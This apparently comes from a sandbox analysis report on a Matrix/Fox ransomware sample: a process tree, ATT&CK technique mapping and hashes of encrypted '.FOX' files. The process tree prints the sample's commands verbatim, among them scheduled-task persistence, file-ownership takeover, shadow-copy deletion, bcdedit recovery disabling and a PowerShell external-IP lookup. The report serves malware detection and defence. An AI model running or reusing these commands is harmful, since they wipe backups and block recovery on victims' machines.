C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe"
1⤵
- Matrix Ransomware
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3496
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWVBvXqV.exe"
  2⤵
  PID:3996
- C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWVBvXqV.exe
  "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWVBvXqV.exe" -n
  2⤵
  - Executes dropped EXE
  PID:1368
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\MrICRJoS.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3924
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1028
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\ZmWmqqtz.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5476
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\ZmWmqqtz.bmp" /f
    3⤵
    - Sets desktop wallpaper using registry
    PID:5936
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
    3⤵
    PID:6092
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
    3⤵
    PID:6124
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\GhMopaYB.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5492
- - C:\Windows\SysWOW64\wscript.exe
    wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\GhMopaYB.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\aUWhSa8f.bat" /sc minute /mo 5 /RL HIGHEST /F
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5500
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\aUWhSa8f.bat" /sc minute /mo 5 /RL HIGHEST /F
        5⤵
        Creates scheduled task(s)
        
        PID:4932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5132
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /Run /I /tn DSHCA
        5⤵
        
        PID:4352
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\eWa2FJZY.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5172
- - C:\Windows\SysWOW64\attrib.exe
    attrib -R -A -S "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
    3⤵
    - Views/modifies file attributes
    PID:5916
- - C:\Windows\SysWOW64\cacls.exe
    cacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C
    3⤵
    PID:5948
- - C:\Windows\SysWOW64\takeown.exe
    takeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"
    3⤵
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:5360
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c WegCvGtZ.exe -accepteula "store.db" -nobanner
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5548
  - - C:\Users\Admin\AppData\Local\Temp\FoxRansomware\WegCvGtZ.exe
      WegCvGtZ.exe -accepteula "store.db" -nobanner
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:5656
    - - C:\Users\Admin\AppData\Local\Temp\WegCvGtZ64.exe
        
        WegCvGtZ.exe -accepteula "store.db" -nobanner
        5⤵
        Drops file in Drivers directory
        Sets service image path in registry
        Executes dropped EXE
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: LoadsDriver
        Suspicious use of AdjustPrivilegeToken
        
        PID:4496

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3704 --field-trial-handle=2252,i,16022092570067181109,3235558581947505669,262144 --variations-seed-version /prefetch:8
1⤵
PID:5720

C:\Windows\SYSTEM32\cmd.exe
C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\aUWhSa8f.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5688
- C:\Windows\system32\vssadmin.exe
  vssadmin Delete Shadows /All /Quiet
  2⤵
  - Interacts with shadow copies
  PID:5860
- C:\Windows\System32\Wbem\WMIC.exe
  wmic SHADOWCOPY DELETE
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5848
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Exec Unrestricted try {start-process -FilePath "vssadmin" -ArgumentList "delete","shadows","/all","/quiet" -WindowStyle Hidden} catch {}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:7812
- - C:\Windows\system32\vssadmin.exe
    "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5140
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:7488
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:7792
- C:\Windows\system32\schtasks.exe
  SCHTASKS /Delete /TN DSHCA /F
  2⤵
  PID:2764

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1712

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Installer\[[email protected] ].zm15LdS3-VvIbNUJz.FOX

Filesize
4KB

MD5
1577d190f3a947d022aa31e5980c1294

SHA1
7c91275b6baf1d2ea531e5d66616381fc01d1582

SHA256
1591ca980ab371fc299719aa4467cc54f6ef46c9174764e336a663c6d64d1103

SHA512
ccf1d10b4b3d8d7b4b8db60bfb37b3f07da642cf16257ce16f39d636c3ba048fa8cfc30d39ba19b144d464261284ec8d9bde21cb9b93681bcc56f1ccc76bd5a0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\[[email protected] ].3MIHCV4H-SYkAr6Ur.FOX

Filesize
1.5MB

MD5
2a6bc69d7431afad786bec036bd3ea60

SHA1
f021c82854aa4fabf33453e46a97f48229c49cf2

SHA256
820659957a7cffe5c291966fa517edc77d91972961dfb1f845fa1e1fb54bcc2e

SHA512
e3e9835b528ee718c666ac42ed23329ebba1e1b128400a4076a8a9d816c3b75b88e1214367e394533f4df9563b81b0f5c29e4f0b9f89d1e384d124a87a5ebac3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\[[email protected] ].BqUKe7aF-plwt2uEf.FOX

Filesize
1.6MB

MD5
b11eba6da641c04be4561eb887662b9e

SHA1
60be7c4dc530ae5d712d43358a6582c0d86754cf

SHA256
f9cf496ea3602904b5e48bf2173e8e72397bb7c06dbb3588a07796cea0de9c63

SHA512
429039b47246a80955920d3fd5fd73b54709c6fdc50f98106898895b54103da69f27c5700b5eff1f617f6e82f799a3583a5429fa597adcae8e579dd9366f36d0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\[[email protected] ].eDHIuuXd-t03fUJzx.FOX

Filesize
1.2MB

MD5
31a77a3e56cb37445aa9c91226942125

SHA1
fc0da36c544d135574cff046cec85fdf2d1a1f47

SHA256
d3d90fb1438010be070ec895d12b076d182709d2d768941f5e3215568e51254e

SHA512
0fcc5e123d101e2380f45916200a6643d7a9ac77f4cb06fa4e2c9f840795db9e74f4ae75a267af1f0683d356d59528344464bf5130ea2af2aa0d03a563af2ec7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\[[email protected] ].hiHBcMuP-TEX1delX.FOX

Filesize
1.1MB

MD5
1593bc9562509473c4a0712378fbafed

SHA1
880e33ae07135157fdd40a287d84439ed852a0a9

SHA256
8d2d042ea4e508d3243d2a6589baec0e5e04264ac9d12d8f697ab04a101a6385

SHA512
b8d0e40baef589252fe62f056307ddaf909a3f2023cfdb2cda28fb92912819ad195c47a3b061ee3fc96c30c5824f5ff36c6ab2e82bd3462e95a5eb1b095c11f2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\[[email protected] ].wjMNrDgE-C9ISkqw8.FOX

Filesize
2.5MB

MD5
bfb0b5ffab9d45e090651f0a51bf66de

SHA1
5dfcd14205c4d343a623343140d2fc0560cced92

SHA256
b932518457e99749eb7ce0f1cd92fb3f26df47f810c0bad5090369620e120106

SHA512
3e2ebbde3a1974e24a750d2ca032538f95098a1a5a6b87e69a11fe5b32a761cea90d328f3d5b5d6a06005b508ebbd727cf194dfa9be42a7f9fcf01b0326de515

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\am.pak

Filesize
1.4MB

MD5
e8fb6b85199fa86f9564c1e214257974

SHA1
8341a7e108bd15344849ed6d5fbea21be7781de8

SHA256
1c9c7fa02c3a5f927f278b6146c9a9e9d42e55cc22c002e72f6be6d165a31db9

SHA512
e4bcad164366f0e546156470bfec273485b843d0f1e57f2b1b746644a946c0b7440670b54afde7a565aa975e277182cecd4749eb7dcc529ce799584bf27abf71

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\as.pak

Filesize
2.1MB

MD5
0a39a815fcaecee9523a3cf34aa349a5

SHA1
172856c3243938c4bf84176d35026f44502d4d77

SHA256
42098c93bcab5cca7f9930eca8025f9f5ed48e9889dbe7044f562811e0d59750

SHA512
8e2e282aa3834f47a1dace816eb7d1ae66bb2fd4c48ba36c51f61080af03864fcd4e30ea5974e4118369dbda9111a5c5f503b7206ea9d83d6b1d8d533c7e8854

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\cy.pak

Filesize
1.1MB

MD5
c1474ef5a40afb491eb5c0cfbda7a0ba

SHA1
f8e35b3100c4c549fa16c2ca97c35a6f489e64db

SHA256
e5d797727b7faed6b8094a4efb396b50e01a20817f84223d233cc8b0e2cd93a2

SHA512
7bd05ee81f5bd79cb0db42a2f490edfec26a5c9b5041dd70bd6d5d7a4362296d84bf2148198ad2275294684b101c885546d83f7a587dfa07120dcecd4b7c1517

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\de.pak

Filesize
1.1MB

MD5
53055b2c5a06826fbff34d06d6f6aada

SHA1
2d954d24b8772cf154751685d01c9d448e30da1b

SHA256
d6266f5a05670a9be0b4689edd66d8dff8b58cc11d5a6b952fbd6c94b276547a

SHA512
54a705096ca042b924c52ac4857ca4295eba4bc7bc299297a8721f30de1dfe7123ba0238e251aac7ea6fe5e5ea20cc2eb6919682c69b4025aff694c39c73f545

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\fa.pak

Filesize
1.5MB

MD5
bcf9691ee66b2d0442bd215d4ca9e4ea

SHA1
d549acd9df007f37e8ef06ffcc3e136ed21fb1b3

SHA256
1c6c6cf64deb8ebdad7366174d512a4b75101fb307c15af1d3f6b828864f6f9b

SHA512
b02b4e7f7082316656c09c1a9e8c56d8d3a381bfbfa753e2ce474840ebac5d5819418ec59423d6df9beaf1f6aca8d50269cbb4e79df4dcaa436d7535f0e673e3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\fil.pak

Filesize
1.1MB

MD5
6a713bd52afd845ee526b2931a3bf7e5

SHA1
d0174ba99e250334e151c5a7f90e2803ae61a1c9

SHA256
0cd826a745ed39b330f20c7b61f8d77ab5fa8e8b6a9210161450ba701aab89ac

SHA512
f0962c6655eb90c32a388fda453370b58268f2452260c99394ce98daad2e0fe16de7dbfd8164aa90e321ea5fe84612610149cd4865568b8164fe41d6225841ef

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\hi.pak

Filesize
2.1MB

MD5
1c934975e271d83def9e97d653d47198

SHA1
f468220fdf020ac4520e294a47dc9cf6547cbbb4

SHA256
8f827425753265929f2a46e3dfdf071586fb92f110c3cdb8f2a44e13c4557755

SHA512
51cce8fd2f30d44bf0d2779049e2d1e2cdd7d698c0b1d59efcfdbe1a5952006adab5c33799686284b720360386cd7b15fa182520ba485da8165324a9429df7f3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\hu.pak

Filesize
1.1MB

MD5
144a13ab083fa575528684df50fc8e2f

SHA1
a34f35a2e3b2e78e43f1fe9140dc63a693377cf6

SHA256
cbac20e87ce31dd8f263c2f1e1a13f25b5e1aedb9a523e66177b60aab4127cb1

SHA512
bcc5bb5f26e4970aacc278ccd41d3620e2f5833106f7920565df378d3a49e5ccb7cdbb36719e608713cf5a7d6da6b06d97f9ff3df1e92a80e59832c94c005b79

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\kok.pak

Filesize
2.0MB

MD5
1d32e6289468fd199df065fad2c0dd91

SHA1
ccbf7f9ed15cd096cbf0451a4f5af482f3419209

SHA256
1805b96c45ac00e64f13cd8c401736ce7f1dcbaf642822da0d4af55df92d4d47

SHA512
0a3adb442e2eaa0b3ba1921e77985a69ed6a18c243b58f56cbe0f146537c35239b924a2ea396299118255f22799a5e837b4a3b666bff942b106211b29a8a1494

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\mr.pak

Filesize
2.1MB

MD5
8adcbdcd184a000144800d7a1d56b462

SHA1
fe1f9babd3922e17da80a548f994f985e8d0899f

SHA256
3259c2a601d1ab469f52d60f98ea02b0e06b35dc8fd22e3b6fe45d1399cc9d49

SHA512
24367597426e47a5ca56dbc8206c1fce25828bf2b488ac3aeb1eb17d1499cdfbb19dceddd24266a6ebfe34f86c6fd7f7640c6886151219b46330072acca7bc5a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\mt.pak

Filesize
1.1MB

MD5
109129068e0d3d20c86b9819ac6f9297

SHA1
691bd91fd61e1801a761805f165e385f41a8b4ba

SHA256
350450e6f5253f3f2e9fbb7d66cd2a2fc91415a97a06d319a4758b7270d37f70

SHA512
c68810afffcd2a19d66a57b5b2b440def2b4770c30d197ad60ae3fd33cf750b4cbc10e45d3825444afdc701ae192332022826dee2ee505e3a61842dc5398a091

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\pt-BR.pak

Filesize
1.0MB

MD5
730e7a2afc99c016e9b9f8ad9634b960

SHA1
337f3e1c9bfb44fc94bdd58a5824ca5a7068209f

SHA256
6ab809f2540a2358862404fbe77011c81c98b1e0a176c94a2a4cc61782bdc04e

SHA512
9d72afc2b72c8392933ec076720f8559e7d5d3b9e0173235225c9a485aa86132a756bef5a1eb2fdb8b7e4163554e3f9ebd95fe307d3b07bcea27ad30f388fcef

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\qu.pak

Filesize
1.1MB

MD5
0fa2d5f9711c9b957f691a56f855775a

SHA1
4942fe97ba79201c38f618acc24c6550e3e78902

SHA256
05a36fed47010e3b5b85640b37d919188d6a46a10a476eb19b24923f5345fcff

SHA512
166a66c7e0fd44a596994bb49c374f23c5ebda40a31b97f988e4044ce8c8968c04cdcfdf42227126ea670e3c5ec2aad9aa10b0aa00e39a902c642f248037ff9e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\ta.pak

Filesize
2.5MB

MD5
3eb109bf0b37413e81469b47ca70349f

SHA1
02c945b9efc78737e134fdf2a19017afc85b7de6

SHA256
f3b99132c51832740f7cc5926fd73e588ff9c51dc16947783d6565666aa4ea6b

SHA512
ceedf4006c80cd6801bded49c07c83356ebd70b37ba07f40b28e59a4beaf857e3226265e8d1279428bddd4d37daad968ef8e3eabb0b4f97a3b965f6c694bb8c7

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Locales\zh-TW.pak

Filesize
881KB

MD5
19095b118febc7026ce29f525507b0fe

SHA1
1c5c7b012ece9365010cc9d092a4f59352dbc681

SHA256
ffc5926dab815c71a86da02d7960cb78c2e159321da7bf39b36dcdf6bb635d8f

SHA512
61fe231d1c19d726fda1f5b76b06306ee6c8e6c4544918203b83c3151b4b764464e0789f95399db5744d8fb6bf0e38966bfe2a783b591c9e65d05255e5329efb

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Mu\Content

Filesize
8KB

MD5
e30287d796a33b2d162c650d54282570

SHA1
d31d057fc80bad59dda394613efa2d262e4ed804

SHA256
ba3a0a449ad5f967570f3fd95c2c1dd6c6b5a3a8f3d52cbf75a1e67f627aa831

SHA512
cb12f078f83f7231c0977ee778cf601bf8c40282f360ebf773a051645d283f0afa6b73399bf0d3041bab7ea1a581bb79ecc2c929ec57556f7d01ea45dc2554aa

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Mu\Fingerprinting

Filesize
2KB

MD5
58260a65105cd1c6812f2be20c30cfed

SHA1
e1dc21f291e6d0a20be0252ae59fb75d7d693132

SHA256
bd1a5d222461c7c59078ffb8987aa59a2360d1c62ae910ca00a934aa3226ce78

SHA512
d5d1b6957b4bc0281c5343e2ea864f0f902ab4779e56172a9670524fd4a9610ae54e834f157319b45f59c2fdaea70fa75e8032de8f61e4dcfdb0dec6026f571e

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Mu\Other

Filesize
1KB

MD5
1b79c73f0b9a2b40989747a7a4393e96

SHA1
34366ff6a9570d8a5e287ca5a925a25ecbb82fe4

SHA256
458df1aefedb98f5c0ce669e9f1ed89d3dde161f37b57ec26814b9e54b092207

SHA512
d4619986e86111e0161b96d013f5402ef37da6b2d15c886c6c12e5bdb2013abeadcb8b57d77af1729a4b8ce592e771bd1335d4c4928c9e55d92be849c2055c12

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Sigma\Content

Filesize
1KB

MD5
88ab4dd5d1146b3f47cfc5802946206b

SHA1
f0c31c9162e3ec604c4e4c3d97a49ad1f46dc061

SHA256
8a86043c761415699a14ce73a1851696c0ff06fa818236d331e910a06d92f4c0

SHA512
c49d1627836a00d87980b5f36458d9fe2a79ff77ea60a7b141e0fdb56df9eb00eccb9560b0825b88c909437e32661659bcb01f71980fc1772b20516df0e20e22

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\Trust Protection Lists\Sigma\Other

Filesize
1KB

MD5
e9fa6338eec39b4cc912fd20595622f0

SHA1
68f94fe03bcb030bccdcfc6bb30a413c46d2ddf9

SHA256
ef7f9a0fa24cf60386ebad2bcd3c89485a93f16e8b464895a8d0f46d0204b02b

SHA512
3fbd0a73ec3412088b3483119e057a6f68bee8ca44fd4b6d239d3ce223cc3bac35b138215bed0c93fda1b7392e7d78cc7acacc3972ba3eb5b526853603d63c8b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\VisualElements\LogoBeta.png

Filesize
30KB

MD5
84356eb633b5446b55d6d6e3ff569f39

SHA1
1ac9c4cc0c73c15aaa99293d20561d06ef02602d

SHA256
e89836302b507834003767f9a58c7f1b87d89512ca5f530b7a42f4525c919d73

SHA512
9c3a1cda29e8622e347e51bf7b1b1ef109d3619a54f0f4ad75dcc44f926f9fe1387c7274d9215165223ace5eb0aaee3acc0c9cfab97b3a7a9320d02b0072d9c9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\VisualElements\SmallLogoCanary.png

Filesize
15KB

MD5
b098f90f4c200fd3e891fca4c8f4f97e

SHA1
896dffca801b590728b62cc6b6cb9b661da4da8b

SHA256
7cced45a0acb62b1e339b4115a4e4c4d80032845005dc258f2d10f58d090e2d2

SHA512
711a3315aeeb83e5c3ad8b77ba2111e36e3e3105b4357cd13e51d6a925775fc3d53d447d939659e3f975e681db8a5ead9862639bebdc3f641115a63095901e68

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\identity_proxy\[[email protected] ].MkWvAZya-D9nsk1GJ.FOX

Filesize
2KB

MD5
8fc0d0441dc722adb14de730037a81a4

SHA1
43fbd2792084e13fb355336c4385c7a9a6791b2a

SHA256
b8bf8c61f7608189632eabaf87996d3eb364add2e35f6fce6b06b5419657d87d

SHA512
11f62c55b354e5f040d4e9101923b0f5922d2dccad58156e99d22d52924e091fbf3b076b392addd1228c16ce132a014ddbb4e2653c3712802ff68047ece47a5a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\identity_proxy\win10\identity_helper.Sparse.Dev.msix

Filesize
54KB

MD5
d2fa194691e8a5ff11f0b23a7f015dd2

SHA1
01e9d9fa66012434ccfb9bf176a8b6383db3599f

SHA256
c44456b0fbb3dc9814b70795221c6c1d5d61a93d5832bfa9dee5101676259c5f

SHA512
4542d62400ac5e9dfae1b269fab6e7b6c96c5c25b88ce43842138b4b003d5c36dc218bf5f70162bc80405e4cf9fe9cd6464d99e85344bf1c7489366f200f77d8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.52\identity_proxy\win10\identity_helper.Sparse.Stable.msix

Filesize
58KB

MD5
0fd0259a198b3452020af5e627ac8a4b

SHA1
34749bfae80aedb3c9bf176542e061d00c3fda6d

SHA256
33cdd12c71a6034ab3a9d296991c3ef90065219290d18aeeb75624e8a52adf20

SHA512
1851a66762bb4cad3792c4c0d0f4cbdb825622b3f3cd3f08eeaa3a84b2f3cd5e0abda589e632bb86a556f8587d48b716328bd4db61c637bc92e92f59849dd728

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Edge.dat

Filesize
13KB

MD5
766302b72a7585240e47940a105d0e94

SHA1
af236cfde745b9d1bfa9ea6cd2904920d1593ddf

SHA256
7a93ba249c7b3b6b0d43a1f663dfc1919d40e0d6cac2875bc688805d6e8bdf86

SHA512
b994a051e85d79283920fb3edc9f336883a0128e446f68b17d365ec0397a42bb4e5f8538da2a052c2aaf6e90b5c8aa1c0344bd9bf2aac5c7d4f679a159c8cb4f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\EdgeWebView.dat

Filesize
9KB

MD5
34a2d16c60f3d9511d10f1e29d0a8382

SHA1
0678a9cc86985e7dacd2bd2229dcad9db55ceaea

SHA256
f163747f235558aa2358322653049455d0ad20e4e225361db3182af532b15aef

SHA512
4c0e431301ac0914ac7ce7a3970f9068949f3f1221439664a7cca8d71a82654dcd64bfcbd43e092e48f6a07fb62d331af33205a0a6c109906c21344fdfbf1ce3

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\bn-IN.pak

Filesize
2.2MB

MD5
df11557623fb3949c22e946c0d12a5b5

SHA1
5968a838c61f17242e49dca3f6a0f632b68932e7

SHA256
12a98384a77798f0ce5436db7215636f38a4c01b399b321a89344b7a72860660

SHA512
91ea748367e22b5075c222997623bbcbbbc893940fa3618490bae997636a9cd43011db0874d18317964656c33daba5f8e24b9fab7889686ea5e8e16b15206e5c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\ca-Es-VALENCIA.pak

Filesize
1.1MB

MD5
f8da937d1fe0000d27449a2b0a76d002

SHA1
1b40e4820db62185558f4f4ad00d5fcdd4908448

SHA256
e862f2b01862f00a83d0f08b931071ed8c8c638c405d718f0583d507843ced1b

SHA512
990bc5b0e2c4b1c17d622dfca3fade463e1f1d493beec4c6787bae356b38a13219a6c1bd4669bc703786d94d30d531342038ad6b1b650431febce8940b5d99ab

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\es.pak

Filesize
1.1MB

MD5
673af6cc42bd66e2efabe8d85af689e9

SHA1
0262673d891e4f44481f4953003c79e4fd7a271d

SHA256
2a925d4700bfe334e20de745759dfdd65084b125dfd2b75c4acbb1aa9660bff0

SHA512
7f6cc667f08da699bbe77fb5f0c5d234c36f4387d8881e16c34633a05f52f9941d1716eaf6991af60851e261d9426362c0d142c2e21f72e4f7b4935b12cf1a8b

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\ga.pak

Filesize
1.1MB

MD5
aa04dc6f07bc7672dedc7abc7b93e49d

SHA1
b45f050a2ba8a8d19f23c46636c208527fd4d515

SHA256
00d9b9a41038d6fa69ecff18a301010dea7425641f43310afc618dcc0d30ce53

SHA512
1c0c692e9eaa09e847b2011df0196dbe6965988d83a7c81fcc13be88da9247201e49f48eba1f379be3786e595b905f1f19cb914453e4a7a333fea117434045ca

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\gl.pak

Filesize
1.0MB

MD5
008f80c61f2b416f546beb5393e70f50

SHA1
1f4ae8f8b4252c5a10d35affd5befc7953ad7c40

SHA256
99e7d24042b1aca54e5f40101461593574e5dc52978943f8da9feea98e43f738

SHA512
5f3501790d91bd4fdf798a68c5c2393c915da29fae03251dc66a44af91c3983c5be38c540297ae178f5b17bb65094460382a5dd5779aca26e10f36c4bce852e9

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\it.pak

Filesize
1.1MB

MD5
ea8deddd3c5e24ea2feec323934a757f

SHA1
ef0dc07a87424dce4bdfde6987aaa5bb5956d583

SHA256
392a28af8203aad63f8a8b25cf80342cd2ebe9adbeac2de658d4f71efc63d0e7

SHA512
5d4293a789051f4b21f65a1ec6534199bdaa7c60acf45fd6cc5bfa94fead9ed043a3f30b9ac77beffe39a78110cda562e41e3932fe74888aabcf01d7aa8780aa

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\ka.pak

Filesize
2.3MB

MD5
759f45788ac26387ac94e3b7fc731278

SHA1
a96666cb10df18dc8c0f2b633babeba7a2f13043

SHA256
898f46601c771c8fc3be520f500c0e1e80db8e4959d16470ea4d32fe7a166b3b

SHA512
7b527776ba78c47dcf1f8a1c95f86e59dc4f4c40805feef879e88fbcea1688d45d27d5ec1d087616f93c31352f3d7b865b19583ddc747f35d1c9d39bbf3d5b2c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\lt.pak

Filesize
1.1MB

MD5
a74615e75a57105060f82d5af93dcda4

SHA1
e677369a86bf1bdac4d4454a4b6a7092b9fe53d3

SHA256
864da0b0569490f039ace2a36f303c71dedffcc955e5130b6b9d50b3a4e64c52

SHA512
